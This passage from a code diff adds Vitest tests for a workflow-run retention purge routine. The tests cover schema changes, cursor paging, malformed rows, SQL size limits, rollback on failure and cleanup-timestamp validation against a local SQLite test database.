+        `ALTER TABLE ${START_IDEMPOTENCY_TABLE} RENAME COLUMN start_token TO other`,
+      );
+    const deleteRun = vi.fn(async () => 0);
+    const beforeBatch = vi.fn();
+    await expect(
+      purgeExpiredWorkflowRuns(retentionIntercept(db, { beforeBatch }), {
+        ...cycle.options(),
+        artifactStore: { deleteRun },
+      }),
+    ).rejects.toThrow();
+    expect(deleteRun).not.toHaveBeenCalled();
+    expect(beforeBatch).not.toHaveBeenCalled();
+    expect(remainingRunIds(sqlite)).toEqual(['run']);
+    expect(cycle.advances).toEqual([]);
+  });
+
+  it('rebuilds a held group when a reservation table appears, without repeating artifacts', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    sqlite.exec(`DROP TABLE ${START_IDEMPOTENCY_TABLE}`);
+    retentionSnapshot(sqlite, 'run');
+    const deleteRun = vi.fn(async () => {
+      createReservationTable(sqlite);
+      retentionReservation(sqlite, 'key', { state: 'started' });
+      return 0;
+    });
+    expect(
+      await purgeExpiredWorkflowRuns(db, {
+        ...cycle.options(),
+        artifactStore: { deleteRun },
+      }),
+    ).toBe(1);
+    expect(deleteRun).toHaveBeenCalledTimes(1);
+    expect(reservationRows(sqlite)).toEqual([
+      expect.objectContaining({
+        key: 'key',
+        state: 'terminal',
+        updated_at: NOW,
+      }),
+    ]);
+  });
+
+  it.each([
+    'create',
+    'rename',
+    'drop',
+  ])('rebuilds pending snapshot work after namespace %s', async (kind) => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionSnapshot(sqlite, 'run');
+    createSnapshotTable(sqlite, 'sibling_');
+    let count = 0;
+    const intercepted = retentionIntercept(db, {
+      beforeBatch: () => {
+        if (count++ > 0) return;
+        if (kind === 'create') createSnapshotTable(sqlite, 'new_');
+        if (kind === 'rename')
+          sqlite.exec(
+            'ALTER TABLE sibling_mastra_workflow_snapshot RENAME TO renamed_mastra_workflow_snapshot',
+          );
+        if (kind === 'drop') sqlite.exec('DROP TABLE mastra_workflow_snapshot');
+      },
+    });
+    expect(await purgeExpiredWorkflowRuns(intercepted, cycle.options())).toBe(
+      kind === 'drop' ? 0 : 1,
+    );
+    expect(count).toBe(2);
+    expect(cycle.cursor?.snapshots).toBeUndefined();
+  });
+
+  it('uses one invocation-wide schema retry and retains the phase cursor on second churn', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionSnapshot(sqlite, 'run');
+    const deleteRun = vi.fn(async () => 0);
+    let changes = 0;
+    const intercepted = retentionIntercept(db, {
+      beforeBatch: () => createSnapshotTable(sqlite, `changed${changes++}_`),
+    });
+    await expect(
+      purgeExpiredWorkflowRuns(intercepted, {
+        ...cycle.options(),
+        artifactStore: { deleteRun },
+      }),
+    ).rejects.toThrow(/repeatedly/);
+    expect(changes).toBe(2);
+    expect(deleteRun).toHaveBeenCalledTimes(1);
+    expect(cycle.advances).toEqual([]);
+    expect(remainingRunIds(sqlite)).toEqual(['run']);
+  });
+
+  it('rereads pending legacy keys through a schema upgrade and preserves changed keys', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    for (const key of ['unchanged', 'changed'])
+      retentionReservation(sqlite, key, {
+        start_token: null,
+        start_table_prefix: null,
+        start_workflow_id: null,
+      });
+    for (const column of [
+      'start_workflow_id',
+      'start_table_prefix',
+      'start_token',
+    ])
+      sqlite.exec(
+        `ALTER TABLE ${START_IDEMPOTENCY_TABLE} DROP COLUMN ${column}`,
+      );
+    let batches = 0;
+    const intercepted = retentionIntercept(db, {
+      beforeBatch: () => {
+        if (batches++ > 0) return;
+        for (const column of [
+          'start_token',
+          'start_table_prefix',
+          'start_workflow_id',
+        ])
+          sqlite.exec(
+            `ALTER TABLE ${START_IDEMPOTENCY_TABLE} ADD COLUMN ${column} TEXT`,
+          );
+        sqlite.exec(
+          `UPDATE ${START_IDEMPOTENCY_TABLE} SET updated_at=updated_at+1 WHERE key='changed'`,
+        );
+      },
+    });
+    await purgeExpiredWorkflowRuns(intercepted, cycle.options());
+    expect(reservationRows(sqlite).map((row) => row.key)).toEqual(['changed']);
+  });
+
+  it('does not reinterpret a bound orphan as legacy after schema downgrade', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionReservation(sqlite, 'key');
+    let batches = 0;
+    const intercepted = retentionIntercept(db, {
+      beforeBatch: () => {
+        if (batches++ > 0) return;
+        for (const column of [
+          'start_workflow_id',
+          'start_table_prefix',
+          'start_token',
+        ])
+          sqlite.exec(
+            `ALTER TABLE ${START_IDEMPOTENCY_TABLE} DROP COLUMN ${column}`,
+          );
+      },
+    });
+    await expect(
+      purgeExpiredWorkflowRuns(intercepted, cycle.options()),
+    ).rejects.toThrow(/no such column/);
+    expect(reservationRows(sqlite)).toHaveLength(1);
+    expect(cycle.advances).toHaveLength(1);
+  });
+
+  it('reclassifies a mixed pending orphan group after namespace appearance', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionReservation(sqlite, 'absent', {
+      run_id: 'absent',
+      start_table_prefix: 'late_',
+    });
+    retentionReservation(sqlite, 'different', {
+      run_id: 'different',
+      start_table_prefix: 'late_',
+    });
+    retentionReservation(sqlite, 'same', {
+      run_id: 'same',
+      start_table_prefix: 'late_',
+    });
+    let batches = 0;
+    const intercepted = retentionIntercept(db, {
+      beforeBatch: () => {
+        if (batches++ > 0) return;
+        createSnapshotTable(sqlite, 'late_');
+        retentionSnapshot(sqlite, 'different', {
+          prefix: 'late_',
+          token: 'S2',
+          status: 'suspended',
+        });
+        retentionSnapshot(sqlite, 'same', {
+          prefix: 'late_',
+          status: 'suspended',
+        });
+      },
+    });
+    await purgeExpiredWorkflowRuns(intercepted, cycle.options());
+    expect(reservationRows(sqlite).map((row) => row.key)).toEqual(['same']);
+  });
+
+  it('advances past more than a page of malformed and oversized capsules', async () => {
+    const { sqlite, db } = retentionWorld();
+    const cycle = retentionCycle({ limit: 90 });
+    for (let i = 0; i < 95; i++)
+      retentionSnapshot(sqlite, `poison-${i}`, {
+        provenance:
+          i % 2
+            ? { version: true }
+            : {
+                version: 2,
+                startToken: 'S1',
+                startIdentity: { padding: 'x'.repeat(4096) },
+              },
+      });
+    retentionSnapshot(sqlite, 'eligible');
+    expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(0);
+    expect(cycle.cursor?.snapshots).toEqual({
+      afterRowId: 90,
+      highWaterRowId: 96,
+    });
+    expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(1);
+    expect(remainingRunIds(sqlite)).not.toContain('eligible');
+    expect(cycle.cursor?.snapshots).toBeUndefined();
+  });
+
+  it('bounds artifact failure diagnostics and reaches later rows with persisted progress', async () => {
+    const { sqlite, db } = retentionWorld();
+    for (let i = 0; i < 92; i++) retentionSnapshot(sqlite, `bad-${i}`);
+    retentionSnapshot(sqlite, 'eligible');
+    const cycle = retentionCycle({
+      artifactStore: {
+        deleteRun: async (_wf, run) => {
+          if (run.startsWith('bad')) throw Object.create(null);
+          return 0;
+        },
+      },
+    });
+    await expect(purgeExpiredWorkflowRuns(db, cycle.options())).rejects.toThrow(
+      /artifact deletion failed/,
+    );
+    expect(cycle.cursor?.snapshots).toEqual({
+      afterRowId: 90,
+      highWaterRowId: 93,
+    });
+    await expect(purgeExpiredWorkflowRuns(db, cycle.options())).rejects.toThrow(
+      /artifact deletion failed/,
+    );
+    expect(remainingRunIds(sqlite)).not.toContain('eligible');
+    expect(remainingRunIds(sqlite)).toHaveLength(92);
+    expect(cycle.cursor?.snapshots).toBeUndefined();
+  });
+
+  it('reports bounded diagnostics for unsupported snapshot and reservation pages', async () => {
+    const { sqlite, db } = retentionWorld();
+    const cycle = retentionCycle();
+    const diagnostics = vi.spyOn(console, 'warn').mockImplementation(() => {});
+    try {
+      for (let index = 0; index < 95; index++) {
+        retentionSnapshot(sqlite, `bad-snapshot-${index}`, {
+          provenance: { version: true },
+        });
+        retentionReservation(sqlite, `bad-reservation-${index}`, {
+          start_token: null,
+          start_table_prefix: null,
+          start_workflow_id: null,
+          target_id: 'x'.repeat(5000),
+        });
+      }
+      retentionSnapshot(sqlite, 'eligible');
+      retentionReservation(sqlite, 'eligible');
+      expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(0);
+      expect(diagnostics).toHaveBeenCalledTimes(2);
+      expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(1);
+      expect(diagnostics).toHaveBeenCalledTimes(4);
+      expect(diagnostics.mock.calls.map(([line]) => JSON.parse(line))).toEqual([
+        { type: 'run-retention-skip', kind: 'snapshot', tablePrefix: '' },
+        { type: 'run-retention-skip', kind: 'reservation', tablePrefix: '' },
+        { type: 'run-retention-skip', kind: 'snapshot', tablePrefix: '' },
+        { type: 'run-retention-skip', kind: 'reservation', tablePrefix: '' },
+      ]);
+      expect(
+        diagnostics.mock.calls.every(
+          ([line]) => typeof line === 'string' && line.length < 256,
+        ),
+      ).toBe(true);
+      expect(remainingRunIds(sqlite)).not.toContain('eligible');
+      expect(reservationRows(sqlite).map((row) => row.key)).not.toContain(
+        'eligible',
+      );
+    } finally {
+      diagnostics.mockRestore();
+    }
+  });
+
+  it('uses negative rowids and a fixed high water despite continuous inserts', async () => {
+    const { sqlite, db } = retentionWorld();
+    for (const [index, rid] of [-5, -3, -1].entries()) {
+      retentionSnapshot(sqlite, `initial-${index}`, { status: 'suspended' });
+      sqlite
+        .prepare('UPDATE mastra_workflow_snapshot SET rowid=? WHERE run_id=?')
+        .run(rid, `initial-${index}`);
+    }
+    const cycle = retentionCycle({ limit: 1 });
+    await purgeExpiredWorkflowRuns(db, cycle.options());
+    expect(cycle.cursor?.snapshots).toEqual({
+      afterRowId: -5,
+      highWaterRowId: -1,
+    });
+    retentionSnapshot(sqlite, 'new-one');
+    await purgeExpiredWorkflowRuns(db, cycle.options());
+    expect(cycle.cursor?.snapshots).toEqual({
+      afterRowId: -3,
+      highWaterRowId: -1,
+    });
+    retentionSnapshot(sqlite, 'new-two');
+    await purgeExpiredWorkflowRuns(db, cycle.options());
+    expect(cycle.cursor?.snapshots).toBeUndefined();
+    expect(remainingRunIds(sqlite)).toContain('new-one');
+  });
+
+  it('advances independent reservation positions past malformed rows and oversized legacy keys', async () => {
+    const { sqlite, db } = retentionWorld();
+    for (let i = 0; i < 92; i++)
+      retentionReservation(sqlite, `bad-${i}`, {
+        start_token: null,
+        start_table_prefix: null,
+        start_workflow_id: null,
+        target_id: 'x'.repeat(5000),
+      });
+    retentionReservation(sqlite, 'eligible');
+    const cycle = retentionCycle();
+    await purgeExpiredWorkflowRuns(db, cycle.options());
+    expect(cycle.cursor?.reservations).toEqual({
+      afterRowId: 90,
+      highWaterRowId: 93,
+    });
+    await purgeExpiredWorkflowRuns(db, cycle.options());
+    expect(cycle.cursor?.reservations).toBeUndefined();
+    expect(reservationRows(sqlite).map((row) => row.key)).not.toContain(
+      'eligible',
+    );
+    expect(reservationRows(sqlite)).toHaveLength(92);
+  });
+
+  it.each([
+    'lost',
+    'short',
+    'sparse',
+    'failure',
+    'missing-meta',
+    'negative',
+    'fractional',
+    'string-count',
+    'schema-missing',
+    'schema-count',
+    'schema-false-with-changes',
+  ])('does not checkpoint an uncertain batch result: %s', async (failure) => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionSnapshot(sqlite, 'run');
+    const intercepted = retentionIntercept(db, {
+      afterBatch: (results) => {
+        if (failure === 'lost') throw new Error('response lost');
+        if (failure === 'short') return results.slice(1);
+        if (failure === 'sparse') {
+          delete results[1];
+          return results;
+        }
+        if (failure === 'failure')
+          results[1] = { success: false, meta: { changes: 1 } };
+        if (failure === 'missing-meta') results[1] = {};
+        if (failure === 'negative') results[1] = { meta: { changes: -1 } };
+        if (failure === 'fractional') results[1] = { meta: { changes: 0.5 } };
+        if (failure === 'string-count') results[1] = { meta: { changes: '1' } };
+        if (failure === 'schema-missing') results[0] = { results: [] };
+        if (failure === 'schema-count')
+          results[0] = { results: [{ schema_ok: true }] };
+        if (failure === 'schema-false-with-changes')
+          results[0] = { results: [{ schema_ok: 0 }] };
+        return results;
+      },
+    });
+    await expect(
+      purgeExpiredWorkflowRuns(intercepted, cycle.options()),
+    ).rejects.toThrow();
+    expect(cycle.advances).toEqual([]);
+    expect(remainingRunIds(sqlite)).toEqual([]);
+    expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(0);
+  });
+
+  it('stops before orphan work when snapshot cursor persistence fails after commit', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionSnapshot(sqlite, 'run');
+    retentionReservation(sqlite, 'orphan', { run_id: 'gone' });
+    const advanceCursor = vi.fn(async () => {
+      throw new Error('cursor storage failed');
+    });
+    await expect(
+      purgeExpiredWorkflowRuns(db, { ...cycle.options(), advanceCursor }),
+    ).rejects.toThrow('cursor storage failed');
+    expect(advanceCursor).toHaveBeenCalledTimes(1);
+    expect(remainingRunIds(sqlite)).toEqual([]);
+    expect(reservationRows(sqlite)).toHaveLength(1);
+    expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(0);
+    expect(reservationRows(sqlite)).toEqual([]);
+  });
+
+  it('rolls back snapshot, owner and key when a later paired mutation fails', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    const resources = new D1ResourceOwnershipStore(db as never);
+    await resources.claim('run', 'run', {
+      kind: 'human',
+      id: 'resource-owner',
+    });
+    retentionSnapshot(sqlite, 'run');
+    retentionReservation(sqlite, 'key', { state: 'started' });
+    sqlite.exec(
+      `CREATE TRIGGER reject_retention_key BEFORE UPDATE ON ${START_IDEMPOTENCY_TABLE} BEGIN SELECT RAISE(ABORT,'key failure'); END`,
+    );
+    await expect(
+      purgeExpiredWorkflowRuns(db, {
+        ...cycle.options(),
+        resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
+      }),
+    ).rejects.toThrow('key failure');
+    expect(remainingRunIds(sqlite)).toEqual(['run']);
+    expect(await resources.owner('run', 'run')).toEqual({
+      kind: 'human',
+      id: 'resource-owner',
+    });
+    expect(reservationRows(sqlite)[0]?.state).toBe('started');
+    expect(cycle.advances).toEqual([]);
+  });
+});
+
+describe('run retention SQL boundaries', () => {
+  it('preserves case-sensitive identity and state under NOCASE column declarations', async () => {
+    const sqlite = openSqlite();
+    sqlite.exec(`CREATE TABLE mastra_workflow_snapshot (workflow_name TEXT COLLATE NOCASE NOT NULL, run_id TEXT COLLATE NOCASE NOT NULL,
+      resourceId TEXT COLLATE NOCASE, snapshot TEXT COLLATE NOCASE NOT NULL, createdAt TEXT NOT NULL, updatedAt TEXT NOT NULL, UNIQUE(workflow_name,run_id))`);
+    sqlite.exec(
+      START_IDEMPOTENCY_DDL.replaceAll('TEXT', 'TEXT COLLATE NOCASE'),
+    );
+    retentionSnapshot(sqlite, 'run');
+    retentionReservation(sqlite, 'matching', { state: 'started' });
+    retentionReservation(sqlite, 'token-case', {
+      state: 'started',
+      start_token: 's1',
+    });
+    retentionReservation(sqlite, 'owner-case', {
+      state: 'started',
+      owner_id: 'INITIATOR',
+    });
+    retentionReservation(sqlite, 'state-case', { state: 'STARTED' });
+    const db = retentionDb(sqlite);
+    const cycle = retentionCycle();
+    expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(1);
+    expect(reservationRows(sqlite)).toEqual(
+      expect.arrayContaining([
+        expect.objectContaining({ key: 'matching', state: 'terminal' }),
+        expect.objectContaining({ key: 'token-case', state: 'started' }),
+        expect.objectContaining({ key: 'owner-case', state: 'started' }),
+        expect.objectContaining({ key: 'state-case', state: 'STARTED' }),
+      ]),
+    );
+  });
+
+  it('preserves a snapshot when its workflow name changes case', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionSnapshot(sqlite, 'run');
+    const intercepted = retentionIntercept(db, {
+      beforeBatch: () =>
+        sqlite.exec("UPDATE mastra_workflow_snapshot SET workflow_name='WF'"),
+    });
+    expect(await purgeExpiredWorkflowRuns(intercepted, cycle.options())).toBe(
+      0,
+    );
+    expect(remainingRunIds(sqlite)).toEqual(['run']);
+  });
+
+  it('requires finite numeric terminal-key expiry and accepts negative fractional epochs', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionSnapshot(sqlite, 'run');
+    for (const key of [
+      'negative-infinity',
+      'positive-infinity',
+      'text',
+      'fractional',
+      'at-cutoff',
+    ])
+      retentionReservation(sqlite, key);
+    sqlite.exec(`UPDATE ${START_IDEMPOTENCY_TABLE} SET updated_at=-9e999 WHERE key='negative-infinity';
+      UPDATE ${START_IDEMPOTENCY_TABLE} SET updated_at=9e999 WHERE key='positive-infinity';
+      UPDATE ${START_IDEMPOTENCY_TABLE} SET updated_at='garbage' WHERE key='text';
+      UPDATE ${START_IDEMPOTENCY_TABLE} SET created_at=-2.5,updated_at=-1.5 WHERE key='fractional'`);
+    sqlite
+      .prepare(
+        `UPDATE ${START_IDEMPOTENCY_TABLE} SET updated_at=? WHERE key='at-cutoff'`,
+      )
+      .run(NOW - 7 * DAY_MS);
+    expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(1);
+    expect(reservationRows(sqlite).map((row) => row.key)).toEqual([
+      'at-cutoff',
+      'negative-infinity',
+      'positive-infinity',
+      'text',
+    ]);
+  });
+
+  it('accepts registry names beyond 63 characters and rejects complete SQL overflow before artifacts', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    const name = `keys_${'x'.repeat(80)}`;
+    sqlite.exec(`ALTER TABLE ${START_IDEMPOTENCY_TABLE} RENAME TO ${name}`);
+    retentionSnapshot(sqlite, 'run');
+    expect(
+      await purgeExpiredWorkflowRuns(db, {
+        ...cycle.options(),
+        startIdempotencyTable: name,
+      }),
+    ).toBe(1);
+    retentionSnapshot(sqlite, 'second');
+    const deleteRun = vi.fn(async () => 0);
+    await expect(
+      purgeExpiredWorkflowRuns(db, {
+        ...cycle.options(),
+        startIdempotencyTable: undefined,
+        cursor: undefined,
+        resourceOwnerTable: 'x'.repeat(89_000),
+        artifactStore: { deleteRun },
+      }),
+    ).rejects.toThrow(/budget/);
+    expect(deleteRun).not.toHaveBeenCalled();
+    expect(remainingRunIds(sqlite)).toEqual(['second']);
+  });
+
+  it('measures complete modern maximum-form statements and selectors over 64 namespaces', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    await createResourceOwnershipSchema(db as never);
+    for (let i = 0; i < 63; i++) createSnapshotTable(sqlite, `namespace${i}_`);
+    const largeIdentity = {
+      owner: { kind: 'human', id: 'a'.repeat(200) },
+      target: { kind: 'agent', id: 'a'.repeat(200), threadId: 't'.repeat(200) },
+      padding: '\\"'.repeat(650),
+    };
+    for (let i = 0; i < 90; i++) {
+      retentionSnapshot(sqlite, `run-${i}`, {
+        workflowId: 'w'.repeat(200),
+        provenance: {
+          version: 2,
+          startToken: 's'.repeat(200),
+          startIdentity: largeIdentity,
+          agentStart: { threaded: true },
+        },
+        padding: 'x'.repeat(20_000),
+      });
+    }
+    const metrics = {
+      statements: 0,
+      maxSqlBytes: 0,
+      maxBindings: 0,
+      maxSelectorBytes: 0,
+    };
+    const intercepted = retentionIntercept(db, {
+      statement: (sql, values) => {
+        metrics.statements++;
+        metrics.maxSqlBytes = Math.max(
+          metrics.maxSqlBytes,
+          new TextEncoder().encode(sql).length,
+        );
+        metrics.maxBindings = Math.max(metrics.maxBindings, values.length);
+        for (const value of values)
+          if (typeof value === 'string' && value.startsWith('['))
+            metrics.maxSelectorBytes = Math.max(
+              metrics.maxSelectorBytes,
+              new TextEncoder().encode(value).length,
+            );
+        expect(new TextEncoder().encode(sql).length).toBeLessThanOrEqual(
+          90_000,
+        );
+        expect(values.length).toBeLessThanOrEqual(100);
+      },
+    });
+    expect(
+      await purgeExpiredWorkflowRuns(intercepted, {
+        ...cycle.options(),
+        resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
+        limit: 1000,
+      }),
+    ).toBe(90);
+    expect(metrics.maxSelectorBytes).toBeGreaterThan(500_000);
+    expect(metrics.maxSelectorBytes).toBeLessThanOrEqual(1_000_000);
+    expect(metrics.maxBindings).toBe(13);
+    expect(metrics.statements).toBe(9);
+    console.info('RETENTION_MODERN_MAX', JSON.stringify(metrics));
+  });
+
+  it('measures a complete legacy page and cross-namespace orphan observations', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    await createResourceOwnershipSchema(db as never);
+    for (let i = 0; i < 63; i++) createSnapshotTable(sqlite, `n${i}_`);
+    for (let i = 0; i < 90; i++) {
+      seedRun(sqlite, {
+        runId: `legacy-${i}`,
+        status: 'success',
+        updatedAt: NOW - 8 * DAY_MS,
+      });
+    }
+    for (let i = 0; i < 90; i++) {
+      const namespace = i % 64;
+      const prefix = namespace === 0 ? '' : `n${namespace - 1}_`;
+      retentionReservation(sqlite, `orphan-${i}`, {
+        run_id: `current-${i}`,
+        start_table_prefix: prefix,
+      });
+      if (i < 64)
+        retentionSnapshot(sqlite, `current-${i}`, {
+          prefix,
+          token: 'S2',
+          status: 'suspended',
+        });
+    }
+    const metrics = {
+      statements: 0,
+      maxSqlBytes: 0,
+      maxBindings: 0,
+      legacyReads: 0,
+    };
+    const intercepted = retentionIntercept(db, {
+      statement: (sql, values) => {
+        metrics.statements++;
+        metrics.maxSqlBytes = Math.max(
+          metrics.maxSqlBytes,
+          new TextEncoder().encode(sql).length,
+        );
+        metrics.maxBindings = Math.max(metrics.maxBindings, values.length);
+        if (
+          sql.startsWith('SELECT workflow_name, run_id, resourceId, snapshot')
+        )
+          metrics.legacyReads++;
+        expect(values.length).toBeLessThanOrEqual(100);
+        expect(new TextEncoder().encode(sql).length).toBeLessThanOrEqual(
+          90_000,
+        );
+      },
+    });
+    expect(
+      await purgeExpiredWorkflowRuns(intercepted, {
+        ...cycle.options(),
+        resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
+      }),
+    ).toBe(90);
+    expect(reservationRows(sqlite)).toEqual([]);
+    expect(metrics.legacyReads).toBe(90);
+    expect(metrics.maxBindings).toBe(18);
+    expect(metrics.statements).toBe(608);
+    console.info('RETENTION_LEGACY_ORPHAN_MAX', JSON.stringify(metrics));
+  });
+});
+
+describe('run retention cleanup timestamp contract', () => {
+  const markers = [
+    ['null', false],
+    ['false', false],
+    ['true', false],
+    ['"done"', false],
+    ['{}', false],
+    ['[]', false],
+    ['-1', false],
+    ['0.5', false],
+    ['9007199254740992', false],
+    ['1e309', false],
+    ['-1e309', false],
+    ['0', true],
+    ['1.0', true],
+    ['1e0', true],
+    ['9007199254740991', true],
+  ] as const;
+
+  async function cleanupFixture(
+    kind: 'modern' | 'legacy',
+    status: 'cancelled' | 'timed_out' = 'cancelled',
+  ) {
+    const world = retentionWorld();
+    retentionSnapshot(world.sqlite, 'run', { status });
+    retentionReservation(world.sqlite, 'key', {
+      state: 'started',
+      ...(kind === 'legacy'
+        ? {
+            start_token: null,
+            start_table_prefix: null,
+            start_workflow_id: null,
+          }
+        : {}),
+    });
+    const resources = new D1ResourceOwnershipStore(world.db as never);
+    await resources.claim('run', 'run', {
+      kind: 'human',
+      id: 'resource-owner',
+    });
+    const snapshot = currentRetentionSnapshot(world.sqlite);
+    const raw = JSON.stringify({
+      ...snapshot,
+      requestContext: {
+        ...(kind === 'modern' ? snapshot.requestContext : {}),
+        'flowsafe.runLifecycle': {
+          version: 1,
+          revision: 1,
+          terminal: {
+            status,
+            error:
+              status === 'cancelled'
+                ? { code: 'CANCELLED', message: 'run was cancelled' }
+                : { code: 'TIMED_OUT', message: 'run deadline expired' },
+            transitionedAt: 0,
+            replayPrincipals: [{ kind: 'human', id: 'initiator' }],
+            cleanupCompletedAt: 0,
+          },
+        },
+      },
+    });
+    return {
+      ...world,
+      resources,
+      snapshot(marker: string) {
+        return raw.replace(
+          '"cleanupCompletedAt":0',
+          `"cleanupCompletedAt":${marker}`,
+        );
+      },
+    };
+  }
+
+  it.each(
+    markers,
+  )('classifies modern cleanup timestamp %s before artifacts', async (marker, complete) => {
+    const h = await cleanupFixture('modern');
+    const raw = h.snapshot(marker);
+    const lifecycle = JSON.parse(raw).requestContext['flowsafe.runLifecycle'];
+    if (complete)
+      expect(parseRunLifecycle(lifecycle)?.terminal?.cleanupCompletedAt).toBe(
+        JSON.parse(marker),
+      );
+    else expect(() => parseRunLifecycle(lifecycle)).toThrow();
+    replaceRetentionSnapshot(h.sqlite, raw);
+    const deleteRun = vi.fn(async () => 0);
+    expect(
+      await purgeExpiredWorkflowRuns(h.db, {
+        ...h.cycle.options(),
+        resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
+        artifactStore: { deleteRun },
+      }),
+    ).toBe(complete ? 1 : 0);
+    expect(deleteRun).toHaveBeenCalledTimes(complete ? 1 : 0);
+    expect(remainingRunIds(h.sqlite)).toEqual(complete ? [] : ['run']);
+    expect(await h.resources.owner('run', 'run')).toEqual(
+      complete ? undefined : { kind: 'human', id: 'resource-owner' },
+    );
+    expect(reservationRows(h.sqlite)).toEqual([
+      expect.objectContaining({
+        state: complete ? 'terminal' : 'started',
+        updated_at: complete ? NOW : NOW - 8 * DAY_MS,
+      }),
+    ]);
+  });
+
+  it.each(
+    markers,
+  )('revalidates legacy cleanup timestamp %s before artifacts', async (marker, complete) => {
+    const h = await cleanupFixture('legacy');
+    replaceRetentionSnapshot(h.sqlite, h.snapshot('0'));
+    const deleteRun = vi.fn(async () => 0);
+    let rawReads = 0;
+    const intercepted = retentionIntercept(h.db, {
+      statement: (sql) => {
+        if (
+          sql.startsWith('SELECT workflow_name, run_id, resourceId, snapshot')
+        ) {
+          rawReads++;
+          replaceRetentionSnapshot(h.sqlite, h.snapshot(marker));
+        }
+      },
+    });
+    expect(
+      await purgeExpiredWorkflowRuns(intercepted, {
+        ...h.cycle.options(),
+        resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
+        artifactStore: { deleteRun },
+      }),
+    ).toBe(complete ? 1 : 0);
+    expect(rawReads).toBe(1);
+    expect(deleteRun).toHaveBeenCalledTimes(complete ? 1 : 0);
+    expect(remainingRunIds(h.sqlite)).toEqual(complete ? [] : ['run']);
+    expect(await h.resources.owner('run', 'run')).toEqual(
+      complete ? undefined : { kind: 'human', id: 'resource-owner' },
+    );
+    expect(reservationRows(h.sqlite)).toEqual([
+      expect.objectContaining({
+        state: 'started',
+        updated_at: NOW - 8 * DAY_MS,
+      }),
+    ]);
+  });
+
+  it.each([
+    ['false', false],
+    ['0', true],
+  ] as const)('classifies initial legacy cleanup timestamp %s before artifacts', async (marker, complete) => {
+    const h = await cleanupFixture('legacy', 'timed_out');
+    replaceRetentionSnapshot(h.sqlite, h.snapshot(marker));
+    const deleteRun = vi.fn(async () => 0);
+    expect(
+      await purgeExpiredWorkflowRuns(h.db, {
+        ...h.cycle.options(),
+        resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
+        artifactStore: { deleteRun },
+      }),
+    ).toBe(complete ? 1 : 0);
+    expect(deleteRun).toHaveBeenCalledTimes(complete ? 1 : 0);
+    expect(remainingRunIds(h.sqlite)).toEqual(complete ? [] : ['run']);
+    expect(await h.resources.owner('run', 'run')).toEqual(
+      complete ? undefined : { kind: 'human', id: 'resource-owner' },
+    );
+    expect(reservationRows(h.sqlite)).toEqual([
+      expect.objectContaining({
+        state: 'started',
+        updated_at: NOW - 8 * DAY_MS,
+      }),
+    ]);
+  });
+
+  describe.each(['modern', 'legacy'] as const)('%s held mutation', (kind) => {
+    it.each([
+      'false',
+      '1e309',
+    ])('preserves a replacement with cleanup timestamp %s', async (marker) => {
+      const h = await cleanupFixture(kind, 'timed_out');
+      replaceRetentionSnapshot(h.sqlite, h.snapshot('0'));
+      const deleteRun = vi.fn(async () => {
+        replaceRetentionSnapshot(h.sqlite, h.snapshot(marker));
+        return 0;
+      });
+      expect(
+        await purgeExpiredWorkflowRuns(h.db, {
+          ...h.cycle.options(),
+          resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
+          artifactStore: { deleteRun },
+        }),
+      ).toBe(0);
+      expect(deleteRun).toHaveBeenCalledTimes(1);
+      expect(remainingRunIds(h.sqlite)).toEqual(['run']);
+      expect(await h.resources.owner('run', 'run')).toEqual({
+        kind: 'human',
+        id: 'resource-owner',
+      });
+      expect(reservationRows(h.sqlite)).toEqual([
+        expect.objectContaining({
+          state: 'started',
+          updated_at: NOW - 8 * DAY_MS,
+        }),
+      ]);
+    });
+  });
+});
+
+describe('run retention rejection and preservation controls', () => {
+  describe.each(['selection', 'held mutation'] as const)('%s', (boundary) => {
+    it.each([
+      'status',
+      'escaped status',
+      'requestContext',
+      'flowsafe.runLifecycle',
+      'terminal',
+      'cleanupCompletedAt',
+    ])('preserves duplicate eligibility path %s', async (path) => {
+      const { sqlite, db, cycle } = retentionWorld();
+      retentionSnapshot(sqlite, 'run', { status: 'cancelled' });
+      retentionReservation(sqlite, 'key', {
+        state: boundary === 'selection' ? 'terminal' : 'started',
+      });
+      const resources = new D1ResourceOwnershipStore(db as never);
+      await resources.claim('run', 'run', {
+        kind: 'human',
+        id: 'resource-owner',
+      });
+      const terminal = {
+        status: 'cancelled',
+        error: { code: 'CANCELLED', message: 'run was cancelled' },
+        transitionedAt: NOW - 9 * DAY_MS,
+        replayPrincipals: [{ kind: 'human', id: 'initiator' }],
+      };
+      const incomplete = { version: 1, revision: 1, terminal };
+      const complete = {
+        ...incomplete,
+        terminal: { ...terminal, cleanupCompletedAt: NOW - 8 * DAY_MS },
+      };
+      expect(parseRunLifecycle(incomplete)?.terminal).not.toHaveProperty(
+        'cleanupCompletedAt',
+      );
+      expect(parseRunLifecycle(complete)?.terminal).toHaveProperty(
+        'cleanupCompletedAt',
+      );
+      const snapshot = currentRetentionSnapshot(sqlite);
+      const context = {
+        ...snapshot.requestContext,
+        'flowsafe.runLifecycle': complete,
+      };
